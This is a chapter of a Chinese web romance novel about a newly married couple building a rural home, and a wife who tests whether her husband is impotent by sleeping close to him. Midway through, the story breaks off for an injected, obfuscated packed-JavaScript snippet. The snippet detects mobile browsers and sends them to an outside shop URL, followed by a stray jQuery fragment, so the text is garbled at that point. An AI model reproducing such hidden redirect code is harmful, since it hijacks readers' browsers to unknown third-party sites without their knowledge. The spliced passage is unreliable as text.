14. 第十四章
    大半个月过去,当初规划好的院子范围已经给围了个四四方方,成禧站在院子中央,抬起头踮起脚也看不到外面,安全感倒是有了,可也让她会恍然生出一种“自己像是一只困在笼中的小鸟”的感觉。

    好在院子足够大,并不沉闷,这样的感觉也不长久。

    不过祁闻瑱听到她的描述,隔两天院子中间就筑起了一个高台,比围墙还高,可以踩着梯子上去,“这样我不在时,你又不想出去,就可以站在上面看外面了。”

    他这样用心对待自己,成禧也有礼物送他,“这是我照着你身量做的一件衫子,你试试合不合适。”

    成禧针线活不好,这是裁了又改、改了又裁后得到的一件长衫。

    要试衣服,就要先把身上穿的衣服脱下来,成禧在屋里坐着没动,就看着祁闻瑱整个人脱件衣服也慢吞吞的,她恨不得直接上手帮他扒了,亏得自己还有最后的矜持,还是妥协出去了。

    真行!晚上两人也是睡在一张床上的,虽说是各盖各的被子,那不也要脱衣服嘛,那时怎没见他如此扭捏!

    想着到现在还没能圆成的房,成禧忽地又不急了,难不成他能克制,她还控制不住自己了!

    祁闻瑱不知道成禧心里想的是什么,不过看她吸了一口气,一脸无语的表情走出去,心里也慌了慌,他也不知道是怎么回事,就是她坐在这里,双眼直勾勾地盯着他,他好像就动不了了一样。

    换好衣裳,祁闻瑱主动出去在成禧面前转一圈,“衣服正合身。”

    瞧着那明显偏大的腰身,成禧嘴角抽了抽,过去用手把多余的布料捏到一处块,布料又薄,他那优越的身形和健美的肌肉便很好显露出来,成禧盯着他,眼睛一瞬不眨。

    祁闻瑱一动不敢动。

    良久,成禧收回目光,进了屋子,她声音淡淡,“衣服脱下来吧,我再给你改改。”

    这些日子,菜地已经种满了菜,屋后面小鸡小鸭也买了回来,还是许婶过来喊她的,鸡窝鸭窝也建好了,竹篱笆也都插的齐齐整整,她想要的两只小狗也有人送来——是雇的那些汉子中的一个,他家正好有,听说她要,就送来了,成禧要给他些钱,他也没要。

    两只小狗一母同胞,一个是村里常见的那种淡黄色,另一个则是发灰。

    也不知道怎么会差别那么大。

    起名也简单,黄色的就叫小黄,颜色暗一点的那个就叫小灰。

    小黄和小灰自进家门以来,就没有饿着过它们,肚子经常是圆滚滚的,效果也明显:不过半个月,已经能明显瞧出它们与刚来时相比,身子更长也更高了,她一唤它们,两个肥嘟嘟的身子就朝她欢快地跑过来。

    成禧与两个小狗蹲在院子里玩,是日天气晴好,祁闻瑱换罢衣裳出了正午,入目便是这样一副景象:他的妻子和两只小狗玩的正欢,她脸上满是笑意,嘴里在说些什么,阳光打在她身上,照的整个人暖烘烘的。

    院子一角的菜园,里面的菜苗欣欣向荣,长势正好,后面小鸡小鸭在叽叽喳喳地叫着,一旁的空地上搭了两个大架子——他的妻说趁着日光正好,要把家里的存货都拿出来晒晒。

    于是架子上便晾满了他往年存的腊肉还有风干的各种肉,竹篾上晒得还有各种野蘑。

    真奇怪,妻子嫁过来还不到一个月,怎么就处处不一样了。

    他也不一样了,好像以前的他,只仅仅是一个活着的人,而现在,他对生活有满足,有向往,有渴求。

    她嫁给他是为了向她爹娘证明自己是有人要的,那么他是不是可以期待有一天,她能喜欢上自己?

    仅仅是因为他这个人。

    想到夜里她的主动,祁闻瑱眼神暗下来,他也想,不过他要等到她满心满意都是他时才行。

    成禧瞥见他出来,朝他招招手,“祁闻瑱,你什么时候有空,咱们去镇上看看我爹娘呗!”

    近些日子都在忙着修建屋子,便是连三朝回门,都没有回去,她嫁过来时,娘的身子虽然已有好转,到底这些时间过去了,也不知道具体情况是怎么样。

    她想爹娘了。

    “明日便有空。”祁闻瑱读懂她眼底暗藏的思念,“正好明日去镇上还可以寻打井的工匠,再将给你做的弓上个弦。”

    她的弓骨架已经做好了,不过上面所需的皮子和弦,还是专门卖这个的用起来舒服,他也会做,就是做的粗糙了些。

    祁闻瑱想着要尽善尽美,便决定从镇上备好这些。

    成禧:“好的。”

    祁闻瑱确实不错,她没有看走眼,除了不愿意跟她圆房,她对他再没有什么不满意的了。

    到了夜里,正睡意袭来的当儿,成禧迷迷糊糊就要睡将过去,脑子里忽地有什么闪过,她精神起来,正欲细想,却怎么也想不起来。

    就在成禧准备放弃,继续要入睡时,突然方才的模糊念头清晰地,而且是及其清晰地进入她的脑海——

    祁闻瑱,他、不会、是、不行吧!

    ……

    这般的念头闯入脑海,成禧再也睡不着,他若是真不行,一切也都解释得通了。

    成禧确定,祁闻瑱是喜欢自己的,无论前世还是如今,她感受得出来。

    所以他不想要,应该不是排斥她。

    要真是她所想那样,明日去镇上正好找大夫瞧瞧,也免得两人都难受。

    如此想着,到底是不能确认,直接问又怕挫伤他的脸皮,毕竟若是真的,成亲这么时间了他也不说,可以想见他的脸皮到底有多薄。

    也是,关系到那处,是可以理解的,不过他一直瞒着,还是让人心里不舒服。

    既然不好直接问,那么她就只能旁敲侧击了。

    成禧故作刚从梦中惊醒的样子,她大口喘着气,一下子坐了起来,这动静成功吸引到祁闻瑱,他也跟着坐起来,担心地看向成禧,“怎么了。”

    成禧开口:“我方才做了个梦,梦见有个大老虎一直跟着我,怎么样也躲不开它。”

    她眼里蒙了泪花,害怕中带着几分乞求地说:“祁闻瑱,我能不能抱着你睡。”

    透进来的

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14263146|151542||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    月光朦胧柔美,照在她的脖子上更显得肌肤白皙细嫩,她的嗓音又是那么的可怜,祁闻瑱几乎是颤着出声:“可以……”

    成禧便掀了薄被,跟他躺在一处。

    晚间的天不热,被子也薄,成禧刚靠近祁闻瑱,就觉得他好像一个大火炉一般,烫得她皮肤也热起来。

    成禧不管,她揽住他的腰,整个人都贴近他的身子,他身子又热又硬,叫人十分难耐。

    两人皆着一层薄薄的中衣,成禧有意试探,中衣更是松垮,她让祁闻瑱抱紧她,祁闻瑱大手一揽,触手便是细腻中带着丝丝冰凉的肌肤。

    几乎是下意识的要逃离。

    身上的人抱得紧,他怎么样也动不了。

    呼吸彼此交融,成禧的腿缠上了他的腰,手伸进了他的衣服里,祁闻瑱几乎要控制不住自己,他哑声开口:“够了。”

    作乱的人再无回应,祁闻瑱默了片刻,理智回神,只听见飒然空气中一道均匀的呼吸声。

    祁闻瑱抬头往下看,始作俑者眼睛闭得紧紧的,竟是睡着了。

    轻叹口气,将盖在她脸上的发丝理顺,祁闻瑱也试着闭目入睡。

    可他再难以入睡。

    成禧确是睡得香甜。

    祁闻瑱没有问题!

    验证过后,她先是松口气,接着又有无名火在胸腔内乱窜——他没问题,为什么不圆房!

    他难道不知道这对另一方意味着什么嘛!

    ——意味、意味着他不想要,她想要也不行!

    成禧带着怨念入睡,抱着人的胳膊紧了又紧,不是能忍嘛,那就多忍一下吧。

    一夜好眠,第二天成禧格外精神,她起床时祁闻瑱也跟着起来,他眼下带着明显的青色,成禧故作看不见。

    在起床穿衣前,她又紧紧地抱着人,将头埋在他已经被扒的凌乱的胸前,柔柔地开口:“祁闻瑱,抱着你睡真舒服,我一夜都没有再做那个噩梦。”

    “以后晚上我都这样抱着你睡好不好。”

    不好,一点都不好。

    祁闻瑱心里想着,却是不动声色地往旁边侧了侧身,开口答应,“好。”

    “我就知道你最好啦!”

    得到承诺,成禧利落地松开双臂,利落地穿衣,利落地开门出去,然后利落地被等在门口的两只小狗追着满院子跑。

    外面高一声低一声的热闹没有吸引祁闻瑱的注意,他现在满脑子都是刚刚落在他脸上的一个吻。

    成禧亲了他。

    直到两人吃罢早饭,搭上牛车进了镇,于热闹的叫嚷中,祁闻瑱才回了神,似乎有什么地方不对劲……

    他不时看一眼成禧,她的面色红润,嘴角更是时有若无地翘起来,叫人一瞧便知道她定是有十分的好心情。

    她是不是故意的!

    ……

    祁闻瑱在心里有了猜测,然并不敢问出口,他怕问出口,她若是承认了,那么他们也许就不能再在一起生活了。

    现在这样挺好的,他全心对她,总有一天,她能看见自己。